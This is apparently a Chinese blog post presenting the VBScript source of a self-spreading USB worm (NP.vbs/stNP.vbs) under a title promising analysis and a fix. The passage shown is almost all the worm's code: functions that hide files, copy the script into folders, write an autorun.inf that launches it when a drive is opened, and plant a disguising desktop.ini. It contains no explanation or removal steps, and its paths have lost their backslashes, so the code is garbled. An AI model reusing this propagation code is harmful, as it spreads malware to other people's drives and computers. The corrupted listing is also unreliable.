最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决

2019-01-16 08:49:49王旭

    else 
        f.attributes = 7 
    end if 
end function 
'删除指定文件属性 
function del_attrib(file) 
    set f = fso.getfile(file) 
    if f.attributes = 7 then 
        f.attributes = 0 
    else 

    end if 
end function 
'自我复制到指定文件目录 
function self_copy(folder) 
    dim aim_path, mid_path, self_file, mid_file 
    aim_path = folder&"NP.vbs" 
    mid_path = "c:np.bin" 
    set self_file = fso.opentextfile(wscript.scriptfullname,1) 
    self = self_file.readall 
    set mid_file = fso.opentextfile(mid_path,2,true) 
    mid_file.write self 
    mid_file.close 
    set mid_file = fso.getfile(mid_path) 
    mid_file.copy(aim_path) 
    mid_file.delete(true) 
end function 
'增加autorun.inf 
function add_autorun(folder) 
    dim path 
    path = folder&"autorun.inf" 
    set temp = fso.CreateTextFile("c:a.bin",true) 
    temp.writeline "[autorun]" 
    temp.writeline "open=" 
    temp.writeline "shellopen=打开(&O)" 
    temp.writeline "shellopenCommand=WScript.exe stNP.vbs" 
    temp.writeline "shellopenDefault=1" 
    temp.writeline "shellexplore=资源管理器(&X)" 
    temp.writeline "shellexploreCommand=WScript.exe stNP.vbs" 
    temp.close 
    set cop = fso.getfile("c:a.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 
'增加desktop.ini 
function add_desktop(folder) 
    dim path 
    path = folder&"desktop.ini" 
    set temp = fso.CreateTextFile("c:d.bin",true) 
    temp.writeline "[.ShellClassInfo]" 
    temp.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}" 
    temp.close 
    set cop = fso.getfile("c:d.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 
'增加stNP.vbs 
function add_stNP(folder) 
    dim path 
    set fso = CreateObject("Scripting.File"&"SystemObject") 
    path = folder&"stNP.vbs" 
    set temp = fso.CreateTextFile("c:s.bin",true)